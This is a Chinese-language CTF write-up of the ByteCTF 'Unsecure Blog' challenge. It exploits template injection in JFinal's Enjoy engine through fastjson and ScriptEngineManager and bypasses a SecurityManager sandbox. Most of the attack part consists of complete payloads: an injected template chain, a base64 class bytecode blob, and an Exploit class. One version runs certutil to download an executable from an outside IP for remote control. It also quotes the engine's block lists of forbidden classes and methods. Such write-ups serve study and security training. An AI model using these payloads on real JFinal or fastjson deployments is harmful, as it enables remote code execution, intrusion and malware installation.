ByteCTF-Unsecure Blog

·
SQL注入 no tag October 24, 2021

Unsecure Blog

http://39.105.169.140:30000/

首先是设置调试:先下载源码。

image-20211020125549972

IDEA打开源码,设置远程JVM调试复制调试信息到bat文件里

image-20211020125626265

  • suspend=n 用来告知 JVM 立即执行,不要等待未来将要附着上/连上(attached)的调试者。如果设成 y, 则应用将暂停不运行,直到有调试者连接上

image-20211020125849920

将lib添加为库

然后再jfinal-blog包里下断点

image-20211020125933800

在启动文件bat里可以看到主类目录

命令行启动java项目

jfinal.bat start

image-20211020130045632

点击启动调试

后台jfinal/111111

登录后preview有ssti

image-20211020143013811

这里用到了enjoy模板

https://p1n93r.github.io/post/code_audit/jfinal_enjoy_template_engine%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%BB%95%E8%BF%87%E5%88%86%E6%9E%90/

enjoy模板官方文档https://jfinal.com/doc/6-2

image-20211020151128575

这里存在SSTI

image-20211020151832846

翻阅文档可以发现了可以调用静态方法。

如果直接调用实例对象的方法,在模板源码里有一些拦截

Class<?>[] cs = new Class[] { 
        System.class, Runtime.class, Thread.class, Class.class, ClassLoader.class, File.class, Compiler.class, InheritableThreadLocal.class, Package.class, Process.class, 
        RuntimePermission.class, SecurityManager.class, ThreadGroup.class, ThreadLocal.class, Method.class, Proxy.class, ProcessBuilder.class, MethodKit.class };
    for (Class<?> c : cs)
      forbiddenClasses.add(c); 
    String[] ms = { 
        "getClass", "getDeclaringClass", "forName", "newInstance", "getClassLoader", "invoke", "notify", "notifyAll", "wait", "exit", 
        "loadLibrary", "halt", "stop", "suspend", "resume", "removeForbiddenClass", "removeForbiddenMethod" };

目前要达到命令执行必须达成三个条件

  • 只能调用公共静态方法;
  • 不能调用类黑名单中的类;
  • 不能调用方法黑名单中的方法;

不使用new的方式,常用的依赖于JDK来达到命令执行的方法,无非就是通过反射或类加载器来实例化ProcessBuilder对象来执行命令,或者通过反射调用java.lang.Runtime的exec()方法来执行命令

所以核心问题在于:找一个能返回实例的静态方法

虽然环境里的依赖是fastjson1.2.73 但是fastjson是支持自己手动开autotype和添加白名单的

所以代码长这样

com.alibaba.fastjson.parser.ParserConfig.getGlobalInstance().addAccept("javax.script.ScriptEngineManager");
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

转换成模板注入就是这样

#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())
#(x.setAutoTypeSupport(true))

getGlobalInstance刚刚好好是个静态方法
而JSON.parse也同样是静态方法 所以就可以利用fastjson来创建任意的对象了。这里如果jdk低版本就可以用fastjson打jndi注入了。

最后是选择了 javax.script.ScriptEngineManager来执行Java代码

fastjson添加白名单的方法为addAccept

因此添加白名单:

#(x.addAccept("javax.script.ScriptEngineManager"))

我们先把javax.script.ScriptEngineManager添加为白名单。

然后使用fastJson加载javax.script.ScriptEngineManager

#set(a=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))

这样就能得到一个ScriptEngineManager实例。

然后用这个实例来执行命令

#set(b=a.getEngineByName('js'))
#set(payload=xxxxxx)
#(b.eval(payload))

组合起来的payload就是

#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())
#(x.setAutoTypeSupport(true))
#(x.addAccept("javax.script.ScriptEngineManager"))
#set(a=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))
#set(b=a.getEngineByName('js'))
#set(payload=xxxxxx)
#(b.eval(payload))

那么eval里就能执行Java代码。

image-20211020161721119

这样可以执行java代码

当我们执行

#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())#(x.setAutoTypeSupport(true))#(x.addAccept("javax.script.ScriptEngineManager"))#set(a=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))#set(b=a.getEngineByName('js'))#set(payload="var JavaTest= Java.type(\"java.lang\"+\".Runtime\"); var b =JavaTest.getRuntime(); b.exec(\"calc\");")#(b.eval(payload))

但是此时将代码换成执行命令的方法时却没有执行命令。會返回

image-20211020162418085

发现这里有执行命令的限制

public class ForbiddenSecurityManager {  public static void setSecurityManager() {    SecurityManager oldSecurityManager = System.getSecurityManager();    if (oldSecurityManager == null) {      SecurityManager execSecurityManager = new SecurityManager() {          private void check(Permission permission) {            if (permission instanceof java.io.FilePermission) {              String actions = permission.getActions();              if (actions != null && actions.contains("execute"))                throw new SecurityException("cant execute file!");               if (actions != null && actions.contains("write") &&                 permission.getName().endsWith(".dll"))                throw new SecurityException("cant create dll file");             }             if (permission instanceof RuntimePermission) {              String name = permission.getName();              if (name != null && name.contains("setSecurityManager"))                throw new SecurityException("cant overwrite SecurityManager!");             }           }          public void checkPermission(Permission perm) {            check(perm);          }          public void checkPermission(Permission perm, Object context) {            check(perm);          }        };      System.setSecurityManager(execSecurityManager);    }   }}

那么接下来就是如何绕过这个沙盒。

https://www.anquanke.com/post/id/151398#h3-6

这里尝试加载字节码,执行反射的内容。来bypass沙箱的限制

首先我们需要简单的了解下java中的js命令执行

https://xz.aliyun.com/t/8697

最后使用js引擎加载字节码,成功RCE

payload

#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())#(x.setAutoTypeSupport(true))#(x.addAccept("javax.script.ScriptEngineManager"))#set(a=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))#set(b=a.getEngineByName('js'))#set(payload="var clazz = java.security.SecureClassLoader.class; var method = clazz.getSuperclass().getDeclaredMethod('defineClass', 'anything'.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE); method.setAccessible(true); var classBytes = 'yv66vgAAADQAVQoADQAsCAAtCgAFAC4IAC8HADAHACkHADEHADIHADYJADcAOAoABQA5CgA6ADsHADwIAD0KADcAPgoAOgA/BwBACgARAEEHAEIBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQADY2x6AQARTGphdmEvbGFuZy9DbGFzczsBAAZtZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAJTEV4cGxvaXQ7AQANU3RhY2tNYXBUYWJsZQcAQgcAQAEACkV4Y2VwdGlvbnMHAEMBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAKU291cmNlRmlsZQEADEV4cGxvaXQuamF2YQwAFAAVAQAVamF2YS5sYW5nLlByb2Nlc3NJbXBsDABEAEUBAAVzdGFydAEAD2phdmEvbGFuZy9DbGFzcwEADWphdmEvdXRpbC9NYXABABBqYXZhL2xhbmcvU3RyaW5nBwBHAQAIUmVkaXJlY3QBAAxJbm5lckNsYXNzZXMBACRbTGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlciRSZWRpcmVjdDsHAEgMAEkAGgwASgBLBwBMDABNAE4BABBqYXZhL2xhbmcvT2JqZWN0AQAEY2FsYwwATwBQDABRAFIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDABTABUBAAdFeHBsb2l0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7BwBUAQAhamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyJFJlZGlyZWN0AQARamF2YS9sYW5nL0Jvb2xlYW4BAARUWVBFAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mAQAWKFopTGphdmEvbGFuZy9Cb29sZWFuOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgAhABMADQAAAAAAAgABABQAFQACABYAAADsAAkAAwAAAGYqtwABEgK4AANMKxIECL0ABVkDEgZTWQQSB1NZBRIIU1kGEglTWQeyAApTtgALTSwEtgAMLCsIvQANWQMEvQAIWQMSDlNTWQQBU1kFAVNZBgFTWQcDuAAPU7YAEFenAAhMK7YAErEAAQAEAF0AYAARAAMAFwAAACYACQAAAAYABAAIAAoACQAvAAoANAALAF0ADgBgAAwAYQANAGUADwAYAAAAKgAEAAoAUwAZABoAAQAvAC4AGwAcAAIAYQAEAB0AHgABAAAAZgAfACAAAAAhAAAAEAAC/wBgAAEHACIAAQcAIwQAJAAAAAQAAQAlAAkAJgAnAAIAFgAAACsAAAABAAAAAbEAAAACABcAAAAGAAEAAAASABgAAAAMAAEAAAABACgAKQAAACQAAAAEAAEAEQACACoAAAACACsANQAAAAoAAQAzAEYANAQJ'; var bytes = java.util.Base64.getDecoder().decode(classBytes); var constructor = clazz.getDeclaredConstructor(); constructor.setAccessible(true); var clz = method.invoke(constructor.newInstance(), bytes, 0 , bytes.length);print(clz); clz.newInstance();")#(b.eval(payload))

字节码文件

import java.io.IOException;import java.lang.reflect.Method;import java.util.Map;public class Exploit {    public Exploit() throws IOException {        try {            Class clz = Class.forName("java.lang.ProcessImpl");            Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);            method.setAccessible(true);            method.invoke(clz, new String[]{"calc"}, null, null, null, false);        } catch (Exception e) {            e.printStackTrace();        }    }    public static void main(String []args) throws Exception {    }}

然后就可以下载文件上线了。远程有杀软

import java.io.IOException;import java.lang.reflect.Method;import java.util.Map;public class Exploit {    public Exploit() throws IOException {        try {            Class clz = Class.forName("java.lang.ProcessImpl");            Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);            method.setAccessible(true);            method.invoke(clz, new String[]{"cmd","/c","certutil.exe -urlcache -split -f http://47.97.123.81/huorong.exe"}, null, null, null, false);        } catch (Exception e) {            e.printStackTrace();        }    }    public static void main(String []args) throws Exception {        Exploit exploit = new Exploit();    }}

image-20211021131059579

用#include可以读文件,先导出注册表,再读文件。

不使用fastjson的姿势

image-20211021083017063

我们搜索newInstance(

可以找到这个静态方法,也可也实例化一个类。因此调用:

#((net.sf.ehcache.util.ClassLoaderUtil::createNewInstance("javax.script.ScriptEngineManager")).getEngineByExtension("js").eval("555-444"))

参考

https://p3rh4ps.top/index.php/2021/10/18/bytectf-unsecure-blog-enjoy%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/

https://jfinal.com/doc/6-7

https://guokeya.github.io/post/KJ3cWdlP1/

  • XCTF-final-dubbo
  • fastjson1.2.25-1.2.47绕过
取消回复

说点什么?
Title
不使用fastjson的姿势

© 2023 Yang_99的小窝. Using Typecho & Moricolor.